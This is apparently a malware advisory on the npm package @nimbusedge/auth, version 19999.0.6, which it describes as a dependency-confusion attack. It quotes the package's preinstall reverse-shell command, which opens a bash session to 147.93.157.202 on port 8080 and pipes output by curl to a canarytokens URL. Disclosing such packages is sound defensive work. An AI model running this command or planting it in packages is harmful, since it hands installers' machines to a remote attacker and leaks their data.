Malicious code in @nimbusedge/auth (npm)

Details

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885) package.json declares a `preinstall` lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202/8080` to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` via `curl -X POST --data-binary @-`. The script executes automatically on `npm install`, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name `@nimbusedge/auth` at version `19999.0.6` — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.
